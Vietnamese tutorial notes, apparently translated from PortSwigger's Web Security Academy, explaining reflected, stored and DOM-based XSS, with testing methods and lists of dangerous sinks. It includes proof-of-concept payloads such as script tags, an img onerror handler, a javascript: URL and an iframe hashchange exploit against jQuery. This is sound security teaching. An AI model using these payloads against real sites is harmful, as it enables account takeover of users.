**XSS**

**BÀI 1: XSS LÀ GÌ ? (\*)**

- XSS là 1 lỗ hổng bảo mật web cho phép kẻ tấn công xâm phạm các tương tác mà người dùng có với một ứng dụng dễ bị tấn công. Cho phép kẻ tấn công lách chính sách cùng nguồn gốc, thiết kế để tách biệt các trang web khác nhau với nhau. Các lỗ hổng XSS thường cho phép kẻ tấn công ngụy trang thành người dùng nạn nhân, thực hiện bất kỳ hành động nào mà người dùng có thể thực hiện và truy cập bất kỳ dữ liệu nào của người dùng. Nếu người dùng nạn nhân có quyền truy cập đặc quyền trong ứng dụng, kẻ tấn công có thể giành được quyền kiểm soát hoàn toàn với tất cả chức năng và dữ liệu của ứng dụng.

\* Cách hoạt động của XSS: (.)  
- Hoạt động bằng cách thao túng 1 trang web dễ bị tấn công JS độc hại cho người dùng. Khi mã độc thực thi bên trong trình duyệt của nạn nhân, kẻ tấn công có thể xâm phạm hoàn toàn tương tác của họ với ứng dụng

\* Bằng chứng cho lỗ hổng XSS: (.)  
- Sử dụng hàm alert() để kiểm tra trở nên phổ biến vì nó ngắn, vô hại và khá khó bỏ qua khi nó được gọi thành công.

- Từ phiên bản 92 trở đi (ngày 20 tháng 7 năm 2021), các iframe cross-origin bị ngăn không cho gọi alert(). Vì chúng được sử dụng để xây dựng một số cuộc tấn công XSS nâng cao hơn, đôi khi bạn sẽ cần sử dụng một tải trọng PoC thay thế. Trong trường hợp này, chúng tôi khuyên bạn nên sử dụng print()hàm này. Nếu bạn muốn tìm hiểu thêm về thay đổi này và lý do tại sao chúng tôi thích print(), hãy xem bài đăng trên blog của chúng tôi về chủ đề này.

Vì nạn nhân được mô phỏng trong phòng thí nghiệm của chúng tôi sử dụng Chrome, chúng tôi đã sửa đổi các phòng thí nghiệm bị ảnh hưởng để chúng cũng có thể được giải quyết bằng cách sử dụng print(). Chúng tôi đã chỉ ra điều này trong hướng dẫn bất cứ khi nào có liên quan.

\* Tác động của lỗ hổng XSS: (.)  
- Tác động thực tế của một cuộc tấn công XSS thường phụ thuộc vào bản chất của ứng dụng, chức năng và dữ liệu của ứng dụng, cũng như trạng thái của người dùng bị xâm phạm. Ví dụ:

* Trong ứng dụng brochureware, nơi tất cả người dùng đều ẩn danh và mọi thông tin đều được công khai, tác động thường sẽ rất nhỏ.
* Trong ứng dụng lưu trữ dữ liệu nhạy cảm, chẳng hạn như giao dịch ngân hàng, email hoặc hồ sơ chăm sóc sức khỏe, tác động thường sẽ rất nghiêm trọng.
* Nếu người dùng bị xâm phạm có quyền cao hơn trong ứng dụng, thì tác động thường sẽ rất nghiêm trọng, cho phép kẻ tấn công kiểm soát hoàn toàn ứng dụng dễ bị tấn công và xâm phạm tất cả người dùng và dữ liệu của họ.

\* Cách tìm và kiểm tra lỗ hổng (.)

- Kiểm tra thủ công đối với XSS được phản ánh và lưu trữ thường bao gồm việc gửi một số đầu vào duy nhất đơn giản (chẳng hạn như một chuỗi chữ số và chữ cái ngắn) vào mọi điểm nhập trong ứng dụng, xác định mọi vị trí mà đầu vào đã gửi được trả về trong phản hồi HTTP và kiểm tra từng vị trí riêng lẻ để xác định xem đầu vào được chế tạo phù hợp có thể được sử dụng để thực thi JavaScript tùy ý hay không. Theo cách này, bạn có thể xác định bối cảnh xảy ra XSS và chọn tải trọng phù hợp để khai thác nó.

- Kiểm tra thủ công đối với XSS dựa trên DOM phát sinh từ các tham số URL bao gồm một quy trình tương tự: đặt một số đầu vào duy nhất đơn giản vào tham số, sử dụng các công cụ dành cho nhà phát triển của trình duyệt để tìm kiếm DOM cho đầu vào này và kiểm tra từng vị trí để xác định xem nó có thể khai thác được hay không. Tuy nhiên, các loại DOM XSS khác khó phát hiện hơn. Để tìm lỗ hổng dựa trên DOM trong đầu vào không dựa trên URL (chẳng hạn như document.cookie) hoặc các bộ thu không dựa trên HTML (như setTimeout), không có cách nào thay thế cho việc xem xét mã JavaScript, có thể cực kỳ tốn thời gian. Trình quét lỗ hổng web của Burp Suite kết hợp phân tích tĩnh và động của JavaScript để tự động phát hiện các lỗ hổng dựa trên DOM một cách đáng tin cậy.

**BÀI 2: XSS PHẢN ÁNH (\*)**

\* XSS reflected là gì?

- Tấn công chéo trang web phản chiếu (hay XSS) xảy ra khi một ứng dụng nhận dữ liệu trong yêu cầu HTTP và đưa dữ liệu đó vào phản hồi ngay lập tức theo cách không an toàn.

- Giả sử một trang web có chức năng tìm kiếm nhận từ khóa tìm kiếm do người dùng cung cấp trong tham số URL:

<https://insecure-website.com/search?term=gift>

Ứng dụng sẽ lặp lại thuật ngữ tìm kiếm được cung cấp trong phản hồi cho URL này:

<p>You searched for: gift</p>

Giả sử ứng dụng không thực hiện bất kỳ xử lý dữ liệu nào khác, kẻ tấn công có thể xây dựng một cuộc tấn công như thế này:

[https://insecure-website.com/search?term=<script>/\*+Bad+stuff+here...+\*/</script](https://insecure-website.com/search?term=%3cscript%3e/*+Bad+stuff+here...+*/%3c/script)>

URL này sẽ cho kết quả phản hồi như sau:

<p>You searched for: <script>/\* Bad stuff here... \*/</script></p>

Nếu người dùng ứng dụng khác yêu cầu URL của kẻ tấn công, thì tập lệnh do kẻ tấn công cung cấp sẽ được thực thi trên trình duyệt của người dùng nạn nhân, trong bối cảnh phiên làm việc của họ với ứng dụng.

\* Tác động của các cuộc tấn công XSS reflected

- Nếu kẻ tấn công có thể kiểm soát một tập lệnh được thực thi trong trình duyệt của nạn nhân, thì thông thường chúng có thể xâm phạm hoàn toàn người dùng đó. Trong số những thứ khác, kẻ tấn công có thể:

* Thực hiện bất kỳ hành động nào trong ứng dụng mà người dùng có thể thực hiện.
* Xem bất kỳ thông tin nào mà người dùng có thể xem.
* Sửa đổi bất kỳ thông tin nào mà người dùng có thể sửa đổi.
* Khởi tạo tương tác với những người dùng ứng dụng khác, bao gồm các cuộc tấn công độc hại, có vẻ như xuất phát từ người dùng nạn nhân ban đầu.

- Có nhiều cáchkhác nhau mà kẻ tấn công có thể dùng để dụ dỗ người dùng nạn nhân đưa ra yêu cầu mà chúng kiểm soát, để thực hiện một cuộc tấn công XSS phản chiếu. Những cách này bao gồm đặt liên kết trên một trang web do kẻ tấn công kiểm soát, hoặc trên một trang web khác cho phép tạo nội dung, hoặc bằng cách gửi liên kết trong email, tweet hoặc tin nhắn khác. Cuộc tấn công có thể nhắm trực tiếp vào một người dùng đã biết hoặc có thể là một cuộc tấn công bừa bãi vào bất kỳ người dùng nào của ứng dụng.

- Nhu cầu về một cơ chế phân phối bên ngoài cho cuộc tấn công có nghĩa là tác động của XSS phản ánh thường ít nghiêm trọng hơn XSS được lưu trữ , trong đó một cuộc tấn công độc lập có thể được phân phối trong chính ứng dụng dễ bị tấn công.

\* XSS reflected trong các bối cảnh khác nhau

- Có nhiều loại kịch bản chéo trang phản chiếu khác nhau. Vị trí của dữ liệu phản chiếu trong phản hồi của ứng dụng xác định loại tải trọng nào cần thiết để khai thác nó và cũng có thể ảnh hưởng đến tác động của lỗ hổng.

- Ngoài ra, nếu ứng dụng thực hiện bất kỳ xác thực hoặc xử lý nào khác trên dữ liệu đã gửi trước khi dữ liệu đó được phản ánh, điều này thường sẽ ảnh hưởng đến loại tải trọng XSS cần thiết.

\* Cách tìm và kiểm tra lỗ hổng:

- Kiểm tra lỗ hổng XSS phản ánh theo cách thủ công bao gồm các bước sau:

* **Kiểm tra mọi điểm vào.** Kiểm tra riêng từng điểm vào để tìm dữ liệu trong các yêu cầu HTTP của ứng dụng. Điều này bao gồm các tham số hoặc dữ liệu khác trong chuỗi truy vấn URL và nội dung tin nhắn, và đường dẫn tệp URL. Nó cũng bao gồm các tiêu đề HTTP, mặc dù hành vi giống như XSS chỉ có thể được kích hoạt thông qua một số tiêu đề HTTP nhất định có thể không khai thác được trong thực tế.
* **Gửi các giá trị chữ số ngẫu nhiên.** Đối với mỗi điểm nhập, hãy gửi một giá trị ngẫu nhiên duy nhất và xác định xem giá trị đó có được phản ánh trong phản hồi hay không. Giá trị phải được thiết kế để tồn tại trong hầu hết các xác thực đầu vào, do đó cần phải khá ngắn và chỉ chứa các ký tự chữ số. Nhưng nó cần phải đủ dài để làm cho các kết quả trùng khớp ngẫu nhiên trong phản hồi trở nên rất khó xảy ra. Giá trị chữ số ngẫu nhiên khoảng 8 ký tự thường là lý tưởng. Bạn có thể sử dụng các tải trọng số của Burp Intruder với các giá trị hex được tạo ngẫu nhiên để tạo ra các giá trị ngẫu nhiên phù hợp. Và bạn có thể sử dụng các cài đặt tải trọng grep của Burp Intruder để tự động đánh dấu các phản hồi có chứa giá trị đã gửi.
* **Xác định ngữ cảnh phản chiếu.** Đối với mỗi vị trí trong phản hồi mà giá trị ngẫu nhiên được phản chiếu, hãy xác định ngữ cảnh của nó. Có thể là trong văn bản giữa các thẻ HTML, trong thuộc tính thẻ có thể được trích dẫn, trong chuỗi JavaScript, v.v.
* **Kiểm tra tải trọng ứng viên.** Dựa trên ngữ cảnh của phản xạ, hãy kiểm tra tải trọng XSS ứng viên ban đầu sẽ kích hoạt thực thi JavaScript nếu nó được phản xạ không sửa đổi trong phản hồi. Cách dễ nhất để kiểm tra tải trọng là gửi yêu cầu đến Burp Repeater , sửa đổi yêu cầu để chèn tải trọng ứng viên, đưa ra yêu cầu, sau đó xem lại phản hồi để xem tải trọng có hoạt động không. Một cách hiệu quả để làm việc là để lại giá trị ngẫu nhiên ban đầu trong yêu cầu và đặt tải trọng XSS ứng viên trước hoặc sau nó. Sau đó, đặt giá trị ngẫu nhiên làm thuật ngữ tìm kiếm trong chế độ xem phản hồi của Burp Repeater. Burp sẽ làm nổi bật từng vị trí mà thuật ngữ tìm kiếm xuất hiện, cho phép bạn nhanh chóng xác định vị trí phản xạ.
* **Kiểm tra các tải trọng thay thế.** Nếu tải trọng XSS ứng viên đã bị ứng dụng sửa đổi hoặc bị chặn hoàn toàn, thì bạn sẽ cần kiểm tra các tải trọng và kỹ thuật thay thế có thể cung cấp một cuộc tấn công XSS đang hoạt động dựa trên bối cảnh của phản xạ và loại xác thực đầu vào đang được thực hiện. Để biết thêm chi tiết, hãy xem bối cảnh tập lệnh chéo trang
* **Kiểm tra cuộc tấn công trong trình duyệt.** Cuối cùng, nếu bạn thành công trong việc tìm ra một tải trọng có vẻ hoạt động trong Burp Repeater, hãy chuyển cuộc tấn công sang một trình duyệt thực (bằng cách dán URL vào thanh địa chỉ hoặc bằng cách sửa đổi yêu cầu trong chế độ xem chặn của Burp Proxy và xem JavaScript được đưa vào có thực sự được thực thi hay không. Thông thường, tốt nhất là thực thi một số JavaScript đơn giản như alert(document.domain)sẽ kích hoạt một cửa sổ bật lên có thể nhìn thấy trong trình duyệt nếu cuộc tấn công thành công.

\* Những câu hỏi thường gặp:

- **Sự khác biệt giữa Reflected XSS và Stored XSS là gì?** Reflected XSS phát sinh khi một ứng dụng lấy một số dữ liệu đầu vào từ một yêu cầu HTTP và nhúng dữ liệu đầu vào đó vào phản hồi ngay lập tức theo cách không an toàn. Với Stored XSS, thay vào đó, ứng dụng lưu trữ dữ liệu đầu vào và nhúng nó vào phản hồi sau theo cách không an toàn.

- **Sự khác biệt giữa XSS phản chiếu và self-XSS là gì?** Self-XSS liên kết đến hành vi ứng dụng tương tự như XSS phản chiếu thông tin thông thường, tuy nhiên nó không thể được kích hoạt theo cách thông thường qua URL được tạo thủ công hoặc yêu cầu liên kết miền. Thay vào đó, ổ khóa chỉ được kích hoạt nếu nhân vật chính gửi tải XSS quan trọng từ trình duyệt của họ. Việc phát triển một cuộc tấn công công tự XSS thường liên quan đến việc thực hiện kỹ thuật xã hội để nạn nhân một số dữ liệu đầu vào kẻ tấn công cung cấp trên trình duyệt của họ. Do đó, it normal được coi là một vấn đề khó khăn, tác động thấp.

**BÀI 3: STORED XSS (\*)**

\* XSS Stored là gì ?

- Còn gọi là XSS bậc 2 hoặc dai dẳng, phát sinh khi 1 ứng dụng nhận dữ liệu từ 1 nguồn không đáng tin cậy và đưa dữ liệu đó vào các phản hồi HTTP sau đó theo cách không an toàn.

- Giả sử một trang web cho phép người dùng gửi bình luận về các bài đăng trên blog, được hiển thị cho những người dùng khác. Người dùng gửi bình luận bằng yêu cầu HTTP như sau:

POST /post/comment HTTP/1.1

Host: vulnerable-website.com

Content-Length: 100

postId=3&comment=This+post+was+extremely+helpful.&name=Carlos+Montoya&email=carlos%40normal-user.net

- Sau khi bình luận này được gửi, bất kỳ người dùng nào truy cập bài đăng trên blog sẽ nhận được thông tin sau trong phản hồi của ứng dụng:

<p>This post was extremely helpful.</p>

- Giả sử ứng dụng không thực hiện bất kỳ xử lý dữ liệu nào khác, kẻ tấn công có thể gửi bình luận độc hại như thế này:

<script>/\* Bad stuff here... \*/</script>

- Theo yêu cầu của kẻ tấn công, bình luận này sẽ được mã hóa URL thành:

comment=%3Cscript%3E%2F\*%2BBad%2Bstuff%2Bhere...%2B\*%2F%3C%2Fscript%3E

- Bất kỳ người dùng nào truy cập bài đăng trên blog sẽ nhận được thông tin sau trong phản hồi của ứng dụng:

<p><script>/\* Bad stuff here... \*/</script></p>

- Sau đó, tập lệnh do kẻ tấn công cung cấp sẽ được thực thi trên trình duyệt của người dùng nạn nhân, trong bối cảnh phiên làm việc của họ với ứng dụng.

\* Tác động của cuộc tấn công XSS được lưu trữ

- Nếu kẻ tấn công có thể kiểm soát một tập lệnh được thực thi trong trình duyệt của nạn nhân, thì thông thường chúng có thể xâm phạm hoàn toàn người dùng đó. Kẻ tấn công có thể thực hiện bất kỳ hành động nào có thể áp dụng cho tác động của lỗ hổng XSS được phản ánh .

- Sự khác biệt chính giữa XSS phản ánh và XSS lưu trữ là lỗ hổng XSS lưu trữ cho phép các cuộc tấn công tự chứa trong chính ứng dụng. Kẻ tấn công không cần phải tìm cách bên ngoài để dụ dỗ người dùng khác thực hiện một yêu cầu cụ thể có chứa khai thác của họ. Thay vào đó, kẻ tấn công đặt khai thác của họ vào chính ứng dụng và chỉ cần đợi người dùng gặp phải nó.

- Bản chất khép kín của các khai thác tập lệnh chéo trang được lưu trữ đặc biệt có liên quan trong các tình huống mà lỗ hổng XSS chỉ ảnh hưởng đến những người dùng hiện đang đăng nhập vào ứng dụng. Nếu XSS được phản ánh, thì cuộc tấn công phải được tính thời gian một cách ngẫu nhiên: người dùng bị dụ thực hiện yêu cầu của kẻ tấn công vào thời điểm họ không đăng nhập sẽ không bị xâm phạm. Ngược lại, nếu XSS được lưu trữ, thì người dùng được đảm bảo đã đăng nhập vào thời điểm họ gặp phải khai thác.

\* Lưu trữ lỗ hổng XSS trong các bối cảnh khác nhau:

- Có nhiều loại mã lệnh cross-site scripting được lưu trữ khác nhau. Vị trí của dữ liệu được lưu trữ trong phản hồi của ứng dụng xác định loại tải trọng nào cần thiết để khai thác nó và cũng có thể ảnh hưởng đến tác động của lỗ hổng.

- Ngoài ra, nếu ứng dụng thực hiện bất kỳ xác thực hoặc xử lý nào khác trên dữ liệu trước khi dữ liệu được lưu trữ hoặc tại thời điểm dữ liệu được lưu trữ được đưa vào phản hồi, điều này thường sẽ ảnh hưởng đến loại tải trọng XSS cần thiết.

\* Cách tìm và kiểm tra lỗ hổng XSS stored:

- Bạn cần kiểm tra tất cả các "điểm vào" có liên quan mà qua đó dữ liệu có thể kiểm soát được của kẻ tấn công có thể vào quá trình xử lý của ứng dụng và tất cả các "điểm thoát" mà dữ liệu đó có thể xuất hiện trong phản hồi của ứng dụng.

- Các điểm nhập vào quá trình xử lý ứng dụng bao gồm:

* Các tham số hoặc dữ liệu khác trong chuỗi truy vấn URL và nội dung tin nhắn.
* Đường dẫn tệp URL.
* Tiêu đề yêu cầu HTTP có thể không khai thác được liên quan đến XSS được phản ánh .
* Bất kỳ tuyến đường ngoài băng tần nào mà kẻ tấn công có thể gửi dữ liệu vào ứng dụng. Các tuyến đường hiện có phụ thuộc hoàn toàn vào chức năng được ứng dụng triển khai: ứng dụng webmail sẽ xử lý dữ liệu nhận được trong email; ứng dụng hiển thị nguồn cấp dữ liệu Twitter có thể xử lý dữ liệu có trong các tweet của bên thứ ba; và trình tổng hợp tin tức sẽ bao gồm dữ liệu có nguồn gốc từ các trang web khác.

- Điểm thoát cho các cuộc tấn công XSS được lưu trữ đều là các phản hồi HTTP có thể được trả về cho bất kỳ loại người dùng ứng dụng nào trong mọi tình huống.

- Bước đầu tiên trong quá trình kiểm tra lỗ hổng XSS được lưu trữ là xác định các liên kết giữa điểm vào và điểm ra, theo đó dữ liệu được gửi đến điểm vào được phát ra từ điểm ra. Lý do tại sao điều này có thể khó khăn là:

* Dữ liệu được gửi đến bất kỳ điểm nhập nào về nguyên tắc có thể được phát ra từ bất kỳ điểm thoát nào. Ví dụ, tên hiển thị do người dùng cung cấp có thể xuất hiện trong nhật ký kiểm tra tối nghĩa mà chỉ một số người dùng ứng dụng mới có thể nhìn thấy.
* Dữ liệu hiện đang được ứng dụng lưu trữ thường dễ bị ghi đè do các hành động khác được thực hiện trong ứng dụng. Ví dụ, chức năng tìm kiếm có thể hiển thị danh sách các tìm kiếm gần đây, danh sách này sẽ nhanh chóng được thay thế khi người dùng thực hiện các tìm kiếm khác.

- Để xác định toàn diện các liên kết giữa các điểm vào và ra sẽ bao gồm việc kiểm tra từng hoán vị riêng biệt, gửi một giá trị cụ thể vào điểm vào, điều hướng trực tiếp đến điểm ra và xác định xem giá trị có xuất hiện ở đó hay không. Tuy nhiên, cách tiếp cận này không thực tế trong một ứng dụng có nhiều hơn một vài trang.

- một cách tiếp cận thực tế hơn là làm việc một cách có hệ thống thông qua các điểm nhập dữ liệu, gửi một giá trị cụ thể vào từng điểm và theo dõi phản hồi của ứng dụng để phát hiện các trường hợp giá trị ận trên các bài đăng trên blog. Khi giá trị đã gửi được quan sát thấy trong phản hồi, bạn cần xác định xem dữ liệu có thực sự được lưu trữ trên các yêu cầu khác nhau hay không, trái ngược với việc chỉ được phản ánh trong phản hồi ngay lập tức.

- Khi bạn đã xác định được các liên kết giữa các điểm vào và ra trong quá trình xử lý của ứng dụng, mỗi liên kết cần được kiểm tra cụ thể để phát hiện xem có lỗ hổng XSS được lưu trữ hay không. Điều này bao gồm việc xác định ngữ cảnh trong phản hồi nơi dữ liệu được lưu trữ xuất hiện và kiểm tra các tải trọng XSS ứng viên phù hợp có thể áp dụng cho ngữ cảnh đó. Tại thời điểm này, phương pháp kiểm tra về cơ bản giống như để tìm lỗ hổng XSS được phản ánh .

**BÀI 4: XSS DỰA TRÊN DOM (\*)**

\* XSS dựa trên DOM là gì?

- thường phát sinh khi JavaScript lấy dữ liệu từ nguồn do kẻ tấn công kiểm soát, chẳng hạn như URL, và chuyển dữ liệu đó đến một bộ đệm hỗ trợ thực thi mã động, chẳng hạn như eval()hoặc innerHTML. Điều này cho phép kẻ tấn công thực thi JavaScript độc hại, thường cho phép chúng chiếm đoạt tài khoản của người dùng khác.

- Để thực hiện cuộc tấn công XSS dựa trên DOM, bạn cần đưa dữ liệu vào nguồn để dữ liệu đó được truyền đến bộ thu và gây ra việc thực thi JavaScript tùy ý.

- Nguồn phổ biến nhất cho DOM XSS là URL, thường được truy cập bằng window.locationđối tượng. Kẻ tấn công có thể xây dựng một liên kết để gửi nạn nhân đến một trang dễ bị tấn công với một tải trọng trong chuỗi truy vấn và các phần phân đoạn của URL. Trong một số trường hợp nhất định, chẳng hạn như khi nhắm mục tiêu vào trang 404 hoặc một trang web chạy PHP, tải trọng cũng có thể được đặt trong đường dẫn.

- Để biết giải thích chi tiết về luồng lây nhiễm giữa nguồn và nơi chứa, vui lòng tham khảo trang lỗ hổng dựa trên DOM .

\* Cách kiểm tra DOM XSS

- Để kiểm tra mã lệnh chéo trang dựa trên DOM theo cách thủ công, bạn thường cần sử dụng trình duyệt có các công cụ dành cho nhà phát triển, chẳng hạn như Chrome. Bạn cần lần lượt xử lý từng nguồn có sẵn và kiểm tra từng nguồn riêng lẻ.

- Kiểm tra các phần chứa của HTML:

* Để kiểm tra DOM XSS trong một bồn chứa HTML, hãy đặt một chuỗi chữ số ngẫu nhiên vào nguồn (chẳng hạn như location.search), sau đó sử dụng các công cụ dành cho nhà phát triển để kiểm tra HTML và tìm nơi chuỗi của bạn xuất hiện. Lưu ý rằng tùy chọn "Xem nguồn" của trình duyệt sẽ không hoạt động đối với thử nghiệm DOM XSS vì nó không tính đến các thay đổi đã được JavaScript thực hiện trong HTML. Trong các công cụ dành cho nhà phát triển của Chrome, bạn có thể sử dụng Control+F(hoặc Command+Ftrên MacOS) để tìm kiếm DOM cho chuỗi của bạn.
* Đối với mỗi vị trí mà chuỗi của bạn xuất hiện trong DOM, bạn cần xác định ngữ cảnh. Dựa trên ngữ cảnh này, bạn cần tinh chỉnh đầu vào của mình để xem cách nó được xử lý. Ví dụ, nếu chuỗi của bạn xuất hiện trong một thuộc tính được trích dẫn kép thì hãy thử chèn dấu ngoặc kép vào chuỗi của bạn để xem bạn có thể thoát khỏi thuộc tính đó không.
* Lưu ý rằng các trình duyệt hoạt động khác nhau liên quan đến mã hóa URL, Chrome, Firefox và Safari sẽ mã hóa URL location.searchvà location.hash, trong khi IE11 và Microsoft Edge (trước Chromium) sẽ không mã hóa URL các nguồn này. Nếu dữ liệu của bạn được mã hóa URL trước khi được xử lý, thì cuộc tấn công XSS khó có thể thành công.

- Kiểm tra bộ thực thi JS:

* Với các bộ này, đầu vào của bạn không nhất thiết phải xuất hiển ở bất kì đâu trong DOM, vì vậy không thể tìm kiếm nó. Thay vào đó, sẽ cần sử dụng trình gỡ lỗi JS để xác định đầu vào có được gửi đến phần chứa hay không và bằng cách nào.
* Đối với mỗi nguồn tiềm năng, chẳng hạn như location, trước tiên bạn cần tìm các trường hợp trong mã JavaScript của trang nơi nguồn đang được tham chiếu. Trong công cụ dành cho nhà phát triển của Chrome, bạn có thể sử dụng Control+Shift+F(hoặc Command+Alt+Ftrên MacOS) để tìm kiếm toàn bộ mã JavaScript của trang cho nguồn đó.
* Sau khi tìm thấy nơi nguồn đang được đọc, bạn có thể sử dụng trình gỡ lỗi JavaScript để thêm điểm ngắt và theo dõi cách sử dụng giá trị của nguồn. Bạn có thể thấy nguồn được gán cho các biến khác. Nếu đúng như vậy, bạn sẽ cần sử dụng lại hàm tìm kiếm để theo dõi các biến này và xem chúng có được truyền đến một bồn chứa hay không. Khi bạn tìm thấy một bồn chứa đang được gán dữ liệu có nguồn gốc từ nguồn, bạn có thể sử dụng trình gỡ lỗi để kiểm tra giá trị bằng cách di chuột qua biến để hiển thị giá trị của nó trước khi được gửi đến bồn chứa. Sau đó, giống như với bồn chứa HTML, bạn cần tinh chỉnh đầu vào của mình để xem liệu bạn có thể thực hiện thành công một cuộc tấn công XSS hay không.

- Kiểm tra DOM XSS bằng DOM Invader:

* Xác định và khai thác DOM XSS trong tự nhiên có thể là một quá trình tẻ nhạt, thường yêu cầu bạn phải tự tay tìm kiếm JavaScript phức tạp, được thu nhỏ. Tuy nhiên, nếu bạn sử dụng trình duyệt Burp, bạn có thể tận dụng tiện ích mở rộng DOM Invader tích hợp của nó, tiện ích này sẽ thực hiện rất nhiều công việc khó khăn cho bạn.

\* Khai thác DOM XSS với các nguồn và phân chứa khác nhau:

- Về nguyên tắc, một trang web dễ bị tấn công bởi DOM-based cross-site scripting nếu có một đường dẫn thực thi mà dữ liệu có thể truyền từ nguồn đến bồn chứa. Trong thực tế, các nguồn và bồn chứa khác nhau có các thuộc tính và hành vi khác nhau có thể ảnh hưởng đến khả năng khai thác và xác định các kỹ thuật cần thiết. Ngoài ra, các tập lệnh của trang web có thể thực hiện xác thực hoặc xử lý dữ liệu khác phải được đáp ứng khi cố gắng khai thác lỗ hổng. Có nhiều bồn chứa liên quan đến lỗ hổng dựa trên DOM. Vui lòng tham khảo danh sách bên dưới để biết chi tiết.

Bộ đệm document.write hoạt động với các thành phần tập lệnh, do đó bạn có thể sử dụng một tải trọng đơn giản, chẳng hạn như bên dưới:

document.write('... <script>alert(document.domain)</script> ...');

Tuy nhiên, lưu ý rằng trong một số trường hợp, nội dung được ghi vào document.write bao gồm một số ngữ cảnh xung quanh mà bạn cần tính đến trong khai thác của mình. Ví dụ, bạn có thể cần đóng một số phần tử hiện có trước khi sử dụng tải trọng JavaScript của mình.

Bộ lọc innerHTML không chấp nhận các phần tử script trên bất kỳ trình duyệt hiện đại nào, cũng như các sự kiện svg onload sẽ không kích hoạt. Điều này có nghĩa là bạn sẽ cần sử dụng các phần tử thay thế như img hoặc iframe. Các trình xử lý sự kiện như onload và onerror có thể được sử dụng kết hợp với các phần tử này. Ví dụ:

element.innerHTML='... <img src=1 onerror=alert(document.domain)> ...'

- Nguồn và phần chứa trong các phụ thuộc của bên thứ 3:

Các ứng dụng web hiện đại thường được xây dựng bằng một số thư viện và khuôn khổ của bên thứ ba, thường cung cấp các chức năng và khả năng bổ sung cho các nhà phát triển. Điều quan trọng cần nhớ là một số trong số này cũng là nguồn và nơi tiềm ẩn cho DOM XSS.

- DOM XSS trong JQuery

Nếu sử dụng thư viện JavaScript như jQuery, hãy chú ý đến các sink có thể thay đổi các phần tử DOM trên trang. Ví dụ, hàm attr() của jQuery có thể thay đổi các thuộc tính của các phần tử DOM. Nếu dữ liệu được đọc từ một nguồn do người dùng kiểm soát như URL, sau đó được truyền đến hàm attr(), thì có thể thao tác giá trị được gửi để gây ra XSS. Ví dụ, ở đây chúng ta có một số JavaScript thay đổi thuộc tính href của phần tử neo bằng cách sử dụng dữ liệu từ URL:

$(function() {

$('#backLink').attr("href",(new URLSearchParams(window.location.search)).get('returnUrl'));

});

Bạn có thể khai thác điều này bằng cách sửa đổi URL để nguồn location.search chứa URL JavaScript độc hại. Sau khi JavaScript của trang áp dụng URL độc hại này vào href của liên kết ngược, việc nhấp vào liên kết ngược sẽ thực thi URL đó:

?returnUrl=javascript:alert(document.domain)

Một lỗ hổng tiềm ẩn khác cần chú ý là hàm chọn $() của jQuery, có thể được sử dụng để đưa các đối tượng độc hại vào DOM.

jQuery từng cực kỳ phổ biến và một lỗ hổng DOM XSS cổ điển là do các trang web sử dụng bộ chọn này kết hợp với nguồn location.hash để tạo hoạt ảnh hoặc tự động cuộn đến một phần tử cụ thể trên trang. Hành vi này thường được triển khai bằng trình xử lý sự kiện hashchange dễ bị tấn công, tương tự như sau:

$(window).on('hashchange', function() {

var element = $(location.hash);

element[0].scrollIntoView();

});

Vì hàm băm có thể kiểm soát được bởi người dùng, kẻ tấn công có thể sử dụng hàm băm này để chèn một vectơ XSS vào bộ chọn $(). Các phiên bản jQuery gần đây hơn đã vá lỗ hổng cụ thể này bằng cách ngăn bạn chèn HTML vào bộ chọn khi đầu vào bắt đầu bằng ký tự băm (#). Tuy nhiên, bạn vẫn có thể tìm thấy mã dễ bị tấn công trong thực tế.

Để thực sự khai thác lỗ hổng cổ điển này, bạn sẽ cần tìm cách kích hoạt sự kiện hashchange mà không cần tương tác của người dùng. Một trong những cách đơn giản nhất để thực hiện việc này là cung cấp khai thác của bạn thông qua iframe:

<iframe src="https://vulnerable-website.com#" onload="this.src+='<img src=1 onerror=alert(1)>'">

Trong ví dụ này, thuộc tính src trỏ đến trang dễ bị tấn công với giá trị băm trống. Khi iframe được tải, vectơ XSS sẽ được thêm vào hàm băm, khiến sự kiện hashchange kích hoạt.

Ngay cả các phiên bản jQuery mới hơn vẫn có thể bị tấn công thông qua bộ chọn $(), miễn là bạn có toàn quyền kiểm soát đầu vào của nó từ một nguồn không yêu cầu tiền tố #.

- DOM XSS trong AngularJS

Nếu sử dụng một framework như AngularJS, có thể thực thi JavaScript mà không cần dấu ngoặc nhọn hoặc sự kiện. Khi một trang web sử dụng thuộc tính ng-app trên phần tử HTML, nó sẽ được AngularJS xử lý. Trong trường hợp này, AngularJS sẽ thực thi JavaScript bên trong dấu ngoặc nhọn kép có thể xảy ra trực tiếp trong HTML hoặc bên trong các thuộc tính.

\* DOM XSS kết hợp với dữ liệu được phản ánh và lưu trữ.

Một số lỗ hổng dựa trên DOM thuần túy nằm trong một trang duy nhất. Nếu một tập lệnh đọc một số dữ liệu từ URL và ghi vào một bồn chứa nguy hiểm, thì lỗ hổng hoàn toàn nằm ở phía máy khách.

Tuy nhiên, các nguồn không giới hạn ở dữ liệu được trình duyệt trực tiếp tiếp xúc - chúng cũng có thể bắt nguồn từ trang web. Ví dụ: các trang web thường phản ánh các tham số URL trong phản hồi HTML từ máy chủ. Điều này thường liên quan đến XSS thông thường, nhưng nó cũng có thể dẫn đến các lỗ hổng DOM XSS phản ánh.

Trong lỗ hổng DOM XSS phản ánh, máy chủ xử lý dữ liệu từ yêu cầu và phản hồi dữ liệu vào phản hồi. Dữ liệu phản ánh có thể được đặt vào một chuỗi ký tự JavaScript hoặc một mục dữ liệu trong DOM, chẳng hạn như trường biểu mẫu. Sau đó, một tập lệnh trên trang sẽ xử lý dữ liệu phản ánh theo cách không an toàn, cuối cùng ghi vào bồn chứa nguy hiểm.

eval('var data = "reflected string"');

Các trang web cũng có thể lưu trữ dữ liệu trên máy chủ và phản ánh dữ liệu đó ở nơi khác. Trong lỗ hổng DOM XSS được lưu trữ, máy chủ nhận dữ liệu từ một yêu cầu, lưu trữ dữ liệu đó và sau đó đưa dữ liệu vào phản hồi sau. Một tập lệnh trong phản hồi sau đó chứa một bộ thu thập dữ liệu sau đó xử lý dữ liệu theo cách không an toàn.

element.innerHTML = comment.author

\* Những sink nào có thể dẫn đến lỗ hổng DOM-XSS?

Sau đây là một số nguyên nhân chính có thể dẫn đến lỗ hổng DOM-XSS:

document.write()

document.writeln()

document.domain

element.innerHTML

element.outerHTML

element.insertAdjacentHTML

element.onevent

Các hàm jQuery sau đây cũng có thể dẫn đến lỗ hổng DOM-XSS:

add()

after()

append()

animate()

insertAfter()

insertBefore()

before()

html()

prepend()

